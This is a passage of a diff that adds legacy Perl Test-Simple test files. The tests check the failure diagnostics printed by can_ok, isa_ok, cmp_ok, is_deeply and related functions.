+can_ok('Mooble::Hooble::Yooble', qw(this that));
+out_ok( <<OUT, <<ERR );
+not ok - Mooble::Hooble::Yooble->can(...)
+OUT
+# Failed test 'Mooble::Hooble::Yooble->can(...)'
+# at $0 line 197.
+# Mooble::Hooble::Yooble->can('this') failed
+# Mooble::Hooble::Yooble->can('that') failed
+ERR
+
+#line 208
+can_ok('Mooble::Hooble::Yooble', ());
+out_ok( <<OUT, <<ERR );
+not ok - Mooble::Hooble::Yooble->can(...)
+OUT
+# Failed test 'Mooble::Hooble::Yooble->can(...)'
+# at $0 line 208.
+# can_ok() called with no methods
+ERR
+
+#line 218
+can_ok(undef, undef);
+out_ok( <<OUT, <<ERR );
+not ok - ->can(...)
+OUT
+# Failed test '->can(...)'
+# at $0 line 218.
+# can_ok() called with empty class or reference
+ERR
+
+#line 228
+can_ok([], "foo");
+out_ok( <<OUT, <<ERR );
+not ok - ARRAY->can('foo')
+OUT
+# Failed test 'ARRAY->can('foo')'
+# at $0 line 228.
+# ARRAY->can('foo') failed
+ERR
+
+#line 238
+isa_ok(bless([], "Foo"), "Wibble");
+out_ok( <<OUT, <<ERR );
+not ok - An object of class 'Foo' isa 'Wibble'
+OUT
+# Failed test 'An object of class 'Foo' isa 'Wibble''
+# at $0 line 238.
+# The object of class 'Foo' isn't a 'Wibble'
+ERR
+
+#line 248
+isa_ok(42, "Wibble", "My Wibble");
+out_ok( <<OUT, <<ERR );
+not ok - 'My Wibble' isa 'Wibble'
+OUT
+# Failed test ''My Wibble' isa 'Wibble''
+# at $0 line 248.
+# 'My Wibble' isn't a 'Wibble'
+ERR
+
+#line 252
+isa_ok(42, "Wibble");
+out_ok( <<OUT, <<ERR );
+not ok - The class (or class-like) '42' isa 'Wibble'
+OUT
+# Failed test 'The class (or class-like) '42' isa 'Wibble''
+# at $0 line 252.
+# The class (or class-like) '42' isn't a 'Wibble'
+ERR
+
+#line 258
+isa_ok(undef, "Wibble", "Another Wibble");
+out_ok( <<OUT, <<ERR );
+not ok - 'Another Wibble' isa 'Wibble'
+OUT
+# Failed test ''Another Wibble' isa 'Wibble''
+# at $0 line 258.
+# 'Another Wibble' isn't defined
+ERR
+
+#line 268
+isa_ok([], "HASH");
+out_ok( <<OUT, <<ERR );
+not ok - A reference of type 'ARRAY' isa 'HASH'
+OUT
+# Failed test 'A reference of type 'ARRAY' isa 'HASH''
+# at $0 line 268.
+# The reference of type 'ARRAY' isn't a 'HASH'
+ERR
+
+#line 278
+new_ok(undef);
+out_like( <<OUT, <<ERR );
+not ok - undef->new\\(\\) died
+OUT
+# Failed test 'undef->new\\(\\) died'
+# at $Filename line 278.
+# Error was: Can't call method "new" on an undefined value at .*
+ERR
+
+#line 288
+new_ok( "Does::Not::Exist" );
+out_like( <<OUT, <<ERR );
+not ok - Does::Not::Exist->new\\(\\) died
+OUT
+# Failed test 'Does::Not::Exist->new\\(\\) died'
+# at $Filename line 288.
+# Error was: Can't locate object method "new" via package "Does::Not::Exist" .*
+ERR
+
+
+{ package Foo; sub new { } }
+{ package Bar; sub new { {} } }
+{ package Baz; sub new { bless {}, "Wibble" } }
+
+#line 303
+new_ok( "Foo" );
+out_ok( <<OUT, <<ERR );
+not ok - undef isa 'Foo'
+OUT
+# Failed test 'undef isa 'Foo''
+# at $0 line 303.
+# undef isn't defined
+ERR
+
+# line 313
+new_ok( "Bar" );
+out_ok( <<OUT, <<ERR );
+not ok - A reference of type 'HASH' isa 'Bar'
+OUT
+# Failed test 'A reference of type 'HASH' isa 'Bar''
+# at $0 line 313.
+# The reference of type 'HASH' isn't a 'Bar'
+ERR
+
+#line 323
+new_ok( "Baz" );
+out_ok( <<OUT, <<ERR );
+not ok - An object of class 'Wibble' isa 'Baz'
+OUT
+# Failed test 'An object of class 'Wibble' isa 'Baz''
+# at $0 line 323.
+# The object of class 'Wibble' isn't a 'Baz'
+ERR
+
+#line 333
+new_ok( "Baz", [], "no args" );
+out_ok( <<OUT, <<ERR );
+not ok - 'no args' isa 'Baz'
+OUT
+# Failed test ''no args' isa 'Baz''
+# at $0 line 333.
+# 'no args' isn't a 'Baz'
+ERR
+
+#line 343
+cmp_ok( 'foo', 'eq', 'bar', 'cmp_ok eq' );
+out_ok( <<OUT, <<ERR );
+not ok - cmp_ok eq
+OUT
+# Failed test 'cmp_ok eq'
+# at $0 line 343.
+# got: 'foo'
+# expected: 'bar'
+ERR
+
+#line 354
+cmp_ok( 42.1, '==', 23, , ' ==' );
+out_ok( <<OUT, <<ERR );
+not ok - ==
+OUT
+# Failed test ' =='
+# at $0 line 354.
+# got: 42.1
+# expected: 23
+ERR
+
+#line 365
+cmp_ok( 42, '!=', 42 , ' !=' );
+out_ok( <<OUT, <<ERR );
+not ok - !=
+OUT
+# Failed test ' !='
+# at $0 line 365.
+# got: 42
+# expected: anything else
+ERR
+
+#line 376
+cmp_ok( 1, '&&', 0 , ' &&' );
+out_ok( <<OUT, <<ERR );
+not ok - &&
+OUT
+# Failed test ' &&'
+# at $0 line 376.
+# '1'
+# &&
+# '0'
+ERR
+
+# line 388
+cmp_ok( 42, 'eq', "foo", ' eq with numbers' );
+out_ok( <<OUT, <<ERR );
+not ok - eq with numbers
+OUT
+# Failed test ' eq with numbers'
+# at $0 line 388.
+# got: '42'
+# expected: 'foo'
+ERR
+
+{
+ my $warnings = '';
+ local $SIG{__WARN__} = sub { $warnings .= join '', @_ };
+
+# line 415
+ cmp_ok( 42, '==', "foo", ' == with strings' );
+ out_ok( <<OUT, <<ERR );
+not ok - == with strings
+OUT
+# Failed test ' == with strings'
+# at $0 line 415.
+# got: 42
+# expected: foo
+ERR
+ My::Test::like(
+ $warnings,
+ qr/^Argument "foo" isn't numeric in .* at \(eval in cmp_ok\) $Filename line 415\.\n$/
+ );
+ $warnings = '';
+}
+
+
+{
+ my $warnings = '';
+ local $SIG{__WARN__} = sub { $warnings .= join '', @_ };
+
+#line 437
+ cmp_ok( undef, "ne", "", "undef ne empty string" );
+
+ $TB->is_eq( $out->read, <<OUT );
+not ok - undef ne empty string
+OUT
+
+ $TB->is_eq( $err->read, <<ERR );
+# Failed test 'undef ne empty string'
+# at $0 line 437.
+# undef
+# ne
+# ''
+ERR
+
+ My::Test::like(
+ $warnings,
+ qr/^Use of uninitialized value.* in string ne at \(eval in cmp_ok\) $Filename line 437.\n\z/
+ );
+}
+
+
+# generate a $!, it changes its value by context.
+-e "wibblehibble";
+my $Errno_Number = $!+0;
+my $Errno_String = $!.'';
+#line 425
+cmp_ok( $!, 'eq', '', ' eq with stringified errno' );
+out_ok( <<OUT, <<ERR );
+not ok - eq with stringified errno
+OUT
+# Failed test ' eq with stringified errno'
+# at $0 line 425.
+# got: '$Errno_String'
+# expected: ''
+ERR
+
+#line 436
+cmp_ok( $!, '==', -1, ' eq with numerified errno' );
+out_ok( <<OUT, <<ERR );
+not ok - eq with numerified errno
+OUT
+# Failed test ' eq with numerified errno'
+# at $0 line 436.
+# got: $Errno_Number
+# expected: -1
+ERR
+
+#line 447
+use_ok('Hooble::mooble::yooble');
+my $more_err_re = <<ERR;
+# Failed test 'use Hooble::mooble::yooble;'
+# at $Filename line 447\\.
+# Tried to use 'Hooble::mooble::yooble'.
+# Error: Can't locate Hooble.* in \\\@INC .*
+ERR
+out_like(
+ qr/^\Qnot ok - use Hooble::mooble::yooble;\E\n\z/,
+ qr/^$more_err_re/
+);
+
+#line 460
+require_ok('ALL::YOUR::BASE::ARE::BELONG::TO::US::wibble');
+$more_err_re = <<ERR;
+# Failed test 'require ALL::YOUR::BASE::ARE::BELONG::TO::US::wibble;'
+# at $Filename line 460\\.
+# Tried to require 'ALL::YOUR::BASE::ARE::BELONG::TO::US::wibble'.
+# Error: Can't locate ALL.* in \\\@INC .*
+ERR
+out_like(
+ qr/^\Qnot ok - require ALL::YOUR::BASE::ARE::BELONG::TO::US::wibble;\E\n\z/,
+ qr/^$more_err_re/
+);
+
+
+END {
+ out_like( <<OUT, <<ERR );
+OUT
+# Looks like you failed $Total tests of $Total.
+ERR
+
+ exit(0);
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail.t
new file mode 100644
index 00000000000..ee8f1b6866e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail.t
@@ -0,0 +1,61 @@
+#!perl -w
+
+# Simple test of what failure output looks like
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+# Normalize the output whether we're running under Test::Harness or not.
+local $ENV{HARNESS_ACTIVE} = 0;
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+# TB methods expect to be wrapped
+my $ok = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
+my $Test = Test::Builder->new;
+
+# Set up a builder to record some failing tests.
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->$plan( tests => 5 );
+
+#line 28
+ $tb->$ok( 1, 'passing' );
+ $tb->$ok( 2, 'passing still' );
+ $tb->$ok( 3, 'still passing' );
+ $tb->$ok( 0, 'oh no!' );
+ $tb->$ok( 0, 'damnit' );
+ $tb->_ending;
+
+ $Test->is_eq($tb->read('out'), <<OUT);
+1..5
+ok 1 - passing
+ok 2 - passing still
+ok 3 - still passing
+not ok 4 - oh no!
+not ok 5 - damnit
+OUT
+
+ $Test->is_eq($tb->read('err'), <<ERR);
+# Failed test 'oh no!'
+# at $0 line 31.
+# Failed test 'damnit'
+# at $0 line 32.
+# Looks like you failed 2 tests of 5.
+ERR
+
+ $Test->$done_testing(2);
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail_one.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail_one.t
new file mode 100644
index 00000000000..ddab4fbe0af
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail_one.t
@@ -0,0 +1,48 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+# Normalize the output whether we're running under Test::Harness or not.
+local $ENV{HARNESS_ACTIVE} = 0;
+
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+# TB methods expect to be wrapped
+my $ok = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $done_testing = sub { shift->done_testing(@_) };
+
+my $Test = Test::Builder->new;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->$plan( tests => 1 );
+
+#line 28
+ $tb->$ok(0);
+ $tb->_ending;
+
+ $Test->is_eq($tb->read('out'), <<OUT);
+1..1
+not ok 1
+OUT
+
+ $Test->is_eq($tb->read('err'), <<ERR);
+# Failed test at $0 line 28.
+# Looks like you failed 1 test of 1.
+ERR
+
+ $Test->$done_testing(2);
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/filehandles.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/filehandles.t
new file mode 100644
index 00000000000..f7dad5d7ea6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/filehandles.t
@@ -0,0 +1,18 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+}
+
+use lib 't/lib';
+use Test::More tests => 1;
+use Dev::Null;
+
+tie *STDOUT, "Dev::Null" or die $!;
+
+print "not ok 1\n"; # this should not print.
+pass 'STDOUT can be mucked with';
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fork.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fork.t
new file mode 100644
index 00000000000..134f7a18590
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fork.t
@@ -0,0 +1,29 @@
+#!/usr/bin/perl -w
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_FORK/;
+BEGIN {
+ unless(CAN_FORK) {
+ require Test::More;
+ Test::More->import(skip_all => "fork is not supported");
+ }
+}
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::More;
+plan tests => 1;
+
+if( fork ) { # parent
+ pass("Only the parent should process the ending, not the child");
+}
+else {
+ exit; # child
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/harness_active.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/harness_active.t
new file mode 100644
index 00000000000..4e0c558710d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/harness_active.t
@@ -0,0 +1,90 @@
+#!perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+
+
+# Can't use Test.pm, that's a 5.005 thing.
+package My::Test;
+
+# This has to be a require or else the END block below runs before
+# Test::Builder's own and the ending diagnostics don't come out right.
+require Test::Builder;
+my $TB = Test::Builder->create;
+$TB->plan(tests => 4);
+
+# Utility testing functions.
+sub ok ($;$) {
+ return $TB->ok(@_);
+}
+
+
+sub main::err_ok ($) {
+ my($expect) = @_;
+ my $got = $err->read;
+
+ return $TB->is_eq( $got, $expect );
+}
+
+
+package main;
+
+require Test::More;
+Test::More->import(tests => 4);
+Test::More->builder->no_ending(1);
+
+{
+ local $ENV{HARNESS_ACTIVE} = 0;
+ local $ENV{HARNESS_IS_VERBOSE} = 0;
+
+#line 62
+ fail( "this fails" );
+ err_ok( <<ERR );
+# Failed test 'this fails'
+# at $0 line 62.
+ERR
+
+#line 72
+ is( 1, 0 );
+ err_ok( <<ERR );
+# Failed test at $0 line 72.
+# got: '1'
+# expected: '0'
+ERR
+}
+
+{
+ local $ENV{HARNESS_ACTIVE} = 1;
+ local $ENV{HARNESS_IS_VERBOSE} = 0;
+
+#line 71
+ fail( "this fails" );
+ err_ok( <<ERR );
+
+# Failed test 'this fails'
+# at $0 line 71.
+ERR
+
+
+#line 84
+ is( 1, 0 );
+ err_ok( <<ERR );
+
+# Failed test at $0 line 84.
+# got: '1'
+# expected: '0'
+ERR
+
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/import.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/import.t
new file mode 100644
index 00000000000..68a36138bc9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/import.t
@@ -0,0 +1,12 @@
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+
+use Test::More tests => 2, import => [qw(!fail)];
+
+can_ok(__PACKAGE__, qw(ok pass like isa_ok));
+ok( !__PACKAGE__->can('fail'), 'fail() not exported' );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_dne_bug.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_dne_bug.t
new file mode 100644
index 00000000000..f4578a6460e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_dne_bug.t
@@ -0,0 +1,47 @@
+#!/usr/bin/perl -w
+
+# test for rt.cpan.org 20768
+#
+# There was a bug where the internal "does not exist" object could get
+# confused with an overloaded object.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test::More tests => 2;
+
+{
+ package Foo;
+
+ use overload
+ 'eq' => \&overload_equiv,
+ '==' => \&overload_equiv;
+
+ sub new {
+ return bless {}, shift;
+ }
+
+ sub overload_equiv {
+ if (ref($_[0]) ne 'Foo' || ref($_[1]) ne 'Foo') {
+ print ref($_[0]), " ", ref($_[1]), "\n";
+ die "Invalid object passed to overload_equiv\n";
+ }
+
+ return 1; # change to 0 ... makes little difference
+ }
+}
+
+my $obj1 = Foo->new();
+my $obj2 = Foo->new();
+
+eval { is_deeply([$obj1, $obj2], [$obj1, $obj2]); };
+is $@, '';
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_fail.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_fail.t
new file mode 100644
index 00000000000..21efe87a257
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_fail.t
@@ -0,0 +1,429 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+
+use Test::Builder;
+require Test::Simple::Catch;
+my($out, $err) = Test::Simple::Catch::caught();
+Test::Builder->new->no_header(1);
+Test::Builder->new->no_ending(1);
+local $ENV{HARNESS_ACTIVE} = 0;
+
+
+# Can't use Test.pm, that's a 5.005 thing.
+package main;
+
+
+my $TB = Test::Builder->create;
+$TB->plan(tests => 102);
+
+# Utility testing functions.
+sub ok ($;$) {
+ return $TB->ok(@_);
+}
+
+sub is ($$;$) {
+ my($thing, $that, $name) = @_;
+
+ my $ok = $TB->is_eq($$thing, $that, $name);
+
+ $$thing = '';
+
+ return $ok;
+}
+
+sub like ($$;$) {
+ my($thing, $regex, $name) = @_;
+ $regex = "/$regex/" if !ref $regex and $regex !~ m{^/.*/$}s;
+
+ my $ok = $TB->like($$thing, $regex, $name);
+
+ $$thing = '';
+
+ return $ok;
+}
+
+
+require Test::More;
+Test::More->import(tests => 11, import => ['is_deeply']);
+
+my $Filename = quotemeta $0;
+
+#line 68
+ok !is_deeply('foo', 'bar', 'plain strings');
+is( $out, "not ok 1 - plain strings\n", 'plain strings' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'plain strings'
+# at $0 line 68.
+# got: 'foo'
+# expected: 'bar'
+ERR
+
+
+#line 78
+ok !is_deeply({}, [], 'different types');
+is( $out, "not ok 2 - different types\n", 'different types' );
+like( $err, <<ERR, ' right diagnostic' );
+# Failed test 'different types'
+# at $Filename line 78.
+# Structures begin differing at:
+# \\\$got = HASH\\(0x[0-9a-f]+\\)
+# \\\$expected = ARRAY\\(0x[0-9a-f]+\\)
+ERR
+
+#line 88
+ok !is_deeply({ this => 42 }, { this => 43 }, 'hashes with different values');
+is( $out, "not ok 3 - hashes with different values\n",
+ 'hashes with different values' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'hashes with different values'
+# at $0 line 88.
+# Structures begin differing at:
+# \$got->{this} = '42'
+# \$expected->{this} = '43'
+ERR
+
+#line 99
+ok !is_deeply({ that => 42 }, { this => 42 }, 'hashes with different keys');
+is( $out, "not ok 4 - hashes with different keys\n",
+ 'hashes with different keys' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'hashes with different keys'
+# at $0 line 99.
+# Structures begin differing at:
+# \$got->{this} = Does not exist
+# \$expected->{this} = '42'
+ERR
+
+#line 110
+ok !is_deeply([1..9], [1..10], 'arrays of different length');
+is( $out, "not ok 5 - arrays of different length\n",
+ 'arrays of different length' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'arrays of different length'
+# at $0 line 110.
+# Structures begin differing at:
+# \$got->[9] = Does not exist
+# \$expected->[9] = '10'
+ERR
+
+#line 121
+ok !is_deeply([undef, undef], [undef], 'arrays of undefs' );
+is( $out, "not ok 6 - arrays of undefs\n", 'arrays of undefs' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'arrays of undefs'
+# at $0 line 121.
+# Structures begin differing at:
+# \$got->[1] = undef
+# \$expected->[1] = Does not exist
+ERR
+
+#line 131
+ok !is_deeply({ foo => undef }, {}, 'hashes of undefs' );
+is( $out, "not ok 7 - hashes of undefs\n", 'hashes of undefs' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'hashes of undefs'
+# at $0 line 131.
+# Structures begin differing at:
+# \$got->{foo} = undef
+# \$expected->{foo} = Does not exist
+ERR
+
+#line 141
+ok !is_deeply(\42, \23, 'scalar refs');
+is( $out, "not ok 8 - scalar refs\n", 'scalar refs' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'scalar refs'
+# at $0 line 141.
+# Structures begin differing at:
+# \${ \$got} = '42'
+# \${\$expected} = '23'
+ERR
+
+#line 151
+ok !is_deeply([], \23, 'mixed scalar and array refs');
+is( $out, "not ok 9 - mixed scalar and array refs\n",
+ 'mixed scalar and array refs' );
+like( $err, <<ERR, ' right diagnostic' );
+# Failed test 'mixed scalar and array refs'
+# at $Filename line 151.
+# Structures begin differing at:
+# \\\$got = ARRAY\\(0x[0-9a-f]+\\)
+# \\\$expected = SCALAR\\(0x[0-9a-f]+\\)
+ERR
+
+
+my($a1, $a2, $a3);
+$a1 = \$a2; $a2 = \$a3;
+$a3 = 42;
+
+my($b1, $b2, $b3);
+$b1 = \$b2; $b2 = \$b3;
+$b3 = 23;
+
+#line 173
+ok !is_deeply($a1, $b1, 'deep scalar refs');
+is( $out, "not ok 10 - deep scalar refs\n", 'deep scalar refs' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'deep scalar refs'
+# at $0 line 173.
+# Structures begin differing at:
+# \${\${ \$got}} = '42'
+# \${\${\$expected}} = '23'
+ERR
+
+# I don't know how to properly display this structure.
+# $a2 = { foo => \$a3 };
+# $b2 = { foo => \$b3 };
+# is_deeply([$a1], [$b1], 'deep mixed scalar refs');
+
+my $foo = {
+ this => [1..10],
+ that => { up => "down", left => "right" },
+ };
+
+my $bar = {
+ this => [1..10],
+ that => { up => "down", left => "right", foo => 42 },
+ };
+
+#line 198
+ok !is_deeply( $foo, $bar, 'deep structures' );
+ok( @Test::More::Data_Stack == 0, '@Data_Stack not holding onto things' );
+is( $out, "not ok 11 - deep structures\n", 'deep structures' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'deep structures'
+# at $0 line 198.
+# Structures begin differing at:
+# \$got->{that}{foo} = Does not exist
+# \$expected->{that}{foo} = '42'
+ERR
+
+
+#line 221
+my @tests = ([],
+ [qw(42)],
+ [qw(42 23), qw(42 23)]
+ );
+
+foreach my $test (@tests) {
+ my $num_args = @$test;
+
+ my $warning;
+ local $SIG{__WARN__} = sub { $warning .= join '', @_; };
+ ok !is_deeply(@$test);
+
+ like \$warning,
+ "/^is_deeply\\(\\) takes two or three args, you gave $num_args\.\n/";
+}
+
+
+#line 240
+# [rt.cpan.org 6837]
+ok !is_deeply([{Foo => undef}],[{Foo => ""}]), 'undef != ""';
+ok( @Test::More::Data_Stack == 0, '@Data_Stack not holding onto things' );
+
+
+#line 258
+# [rt.cpan.org 7031]
+my $a = [];
+ok !is_deeply($a, $a.''), "don't compare refs like strings";
+ok !is_deeply([$a], [$a.'']), " even deep inside";
+
+
+#line 265
+# [rt.cpan.org 7030]
+ok !is_deeply( {}, {key => []} ), '[] could match non-existent values';
+ok !is_deeply( [], [[]] );
+
+
+#line 273
+$$err = $$out = '';
+ok !is_deeply( [\'a', 'b'], [\'a', 'c'] );
+is( $out, "not ok 20\n", 'scalar refs in an array' );
+is( $err, <<ERR, ' right diagnostic' );
+# Failed test at $0 line 274.
+# Structures begin differing at:
+# \$got->[1] = 'b'
+# \$expected->[1] = 'c'
+ERR
+
+
+#line 285
+my $ref = \23;
+ok !is_deeply( 23, $ref );
+is( $out, "not ok 21\n", 'scalar vs ref' );
+is( $err, <<ERR, ' right diagnostic');
+# Failed test at $0 line 286.
+# Structures begin differing at:
+# \$got = '23'
+# \$expected = $ref
+ERR
+
+#line 296
+ok !is_deeply( $ref, 23 );
+is( $out, "not ok 22\n", 'ref vs scalar' );
+is( $err, <<ERR, ' right diagnostic');
+# Failed test at $0 line 296.
+# Structures begin differing at:
+# \$got = $ref
+# \$expected = '23'
+ERR
+
+#line 306
+ok !is_deeply( undef, [] );
+is( $out, "not ok 23\n", 'is_deeply and undef [RT 9441]' );
+like( $err, <<ERR, ' right diagnostic' );
+# Failed test at $Filename line 306\\.
+# Structures begin differing at:
+# \\\$got = undef
+# \\\$expected = ARRAY\\(0x[0-9a-f]+\\)
+ERR
+
+
+# rt.cpan.org 8865
+{
+ my $array = [];
+ my $hash = {};
+
+#line 321
+ ok !is_deeply( $array, $hash );
+ is( $out, "not ok 24\n", 'is_deeply and different reference types' );
+ is( $err, <<ERR, ' right diagnostic' );
+# Failed test at $0 line 321.
+# Structures begin differing at:
+# \$got = $array
+# \$expected = $hash
+ERR
+
+#line 332
+ ok !is_deeply( [$array], [$hash] );
+ is( $out, "not ok 25\n", 'nested different ref types' );
+ is( $err, <<ERR, ' right diagnostic' );
+# Failed test at $0 line 332.
+# Structures begin differing at:
+# \$got->[0] = $array
+# \$expected->[0] = $hash
+ERR
+
+
+ # Overloaded object tests
+ {
+ my $foo = bless [], "Foo";
+ my $bar = bless {}, "Bar";
+
+ {
+ package Bar;
+ "overload"->import(q[""] => sub { "wibble" });
+ }
+
+#line 353
+ ok !is_deeply( [$foo], [$bar] );
+ is( $out, "not ok 26\n", 'string overloaded refs respected in diag' );
+ is( $err, <<ERR, ' right diagnostic' );
+# Failed test at $0 line 353.
+# Structures begin differing at:
+# \$got->[0] = $foo
+# \$expected->[0] = 'wibble'
+ERR
+
+ }
+}
+
+
+# rt.cpan.org 14746
+{
+# line 349
+ ok !is_deeply( sub {"foo"}, sub {"bar"} ), 'function refs';
+ is( $out, "not ok 27\n" );
+ like( $err, <<ERR, ' right diagnostic' );
+# Failed test at $Filename line 349.
+# Structures begin differing at:
+# \\\$got = CODE\\(0x[0-9a-f]+\\)
+# \\\$expected = CODE\\(0x[0-9a-f]+\\)
+ERR
+
+
+ use Symbol;
+ my $glob1 = gensym;
+ my $glob2 = gensym;
+
+#line 357
+ ok !is_deeply( $glob1, $glob2 ), 'typeglobs';
+ is( $out, "not ok 28\n" );
+ like( $err, <<ERR, ' right diagnostic' );
+# Failed test at $Filename line 357.
+# Structures begin differing at:
+# \\\$got = GLOB\\(0x[0-9a-f]+\\)
+# \\\$expected = GLOB\\(0x[0-9a-f]+\\)
+ERR
+
+}
+
+
+# rt.cpan.org 53469
+{
+
+ # Accept both old and new-style stringification
+ my $modifiers = (qr/foobar/ =~ /\Q(?^/) ? '^' : '-xism';
+#line 380
+ ok !is_deeply( qr/a/, qr/b/, "different regexes" );
+ is( $out, "not ok 29 - different regexes\n" );
+ is( $err, <<ERR, ' right diagnostic' );
+# Failed test 'different regexes'
+# at $0 line 380.
+# Structures begin differing at:
+# \$got = (?$modifiers:a)
+# \$expected = (?$modifiers:b)
+ERR
+}
+
+
+# false values that should not compare equal
+{
+ ok !is_deeply( 0, '', "0 != ''" );
+ is( $out, "not ok 30 - 0 != ''\n" );
+ ok !is_deeply( 0, undef, "0 != undef" );
+ is( $out, "not ok 31 - 0 != undef\n" );
+ ok !is_deeply( '', undef, "'' != undef" );
+ is( $out, "not ok 32 - '' != undef\n" );
+
+ ok !is_deeply( [0], [''], "[0] != ['']" );
+ is( $out, "not ok 33 - [0] != ['']\n" );
+ ok !is_deeply( [0], [undef], "[0] != [undef]" );
+ is( $out, "not ok 34 - [0] != [undef]\n" );
+ ok !is_deeply( [''], [undef], "[''] != [undef]" );
+ is( $out, "not ok 35 - [''] != [undef]\n" );
+
+ ok !is_deeply( [0], [], "[0] != []" );
+ is( $out, "not ok 36 - [0] != []\n" );
+ ok !is_deeply( [undef], [], "[undef] != []" );
+ is( $out, "not ok 37 - [undef] != []\n" );
+ ok !is_deeply( [''], [], "[''] != []" );
+ is( $out, "not ok 38 - [''] != []\n" );
+
+ ok !is_deeply( {x => 0}, {x => ''}, "{x => 0} != {x => ''}" );
+ is( $out, "not ok 39 - {x => 0} != {x => ''}\n" );
+ ok !is_deeply( {x => 0}, {x => undef}, "{x => 0} != {x => undef}" );
+ is( $out, "not ok 40 - {x => 0} != {x => undef}\n" );
+ ok !is_deeply( {x => ''}, {x => undef}, "{x => ''} != {x => undef}" );
+ is( $out, "not ok 41 - {x => ''} != {x => undef}\n" );
+}
+
+# this will also happily fail before 5.10, even though there's no VSTRING ref type
+{
+ my $version1 = v1.2.3;
+ my $version2 = v1.2.4;
+ ok !is_deeply( [\\$version1], [\\$version2], "version objects");
+ is( $out, "not ok 42 - version objects\n" );
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_with_threads.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_with_threads.t
new file mode 100644
index 00000000000..566da7eaa2e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_with_threads.t
@@ -0,0 +1,65 @@
+#!/usr/bin/perl -w
+
+# Test to see if is_deeply() plays well with threads.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use Test2::Util qw/CAN_THREAD/;
+BEGIN {
+ unless(CAN_THREAD) {
+ require Test::More;
+ Test::More->import(skip_all => "threads are not supported");
+ }
+}
+use threads;
+
+BEGIN {
+ unless ( $ENV{AUTHOR_TESTING} ) {
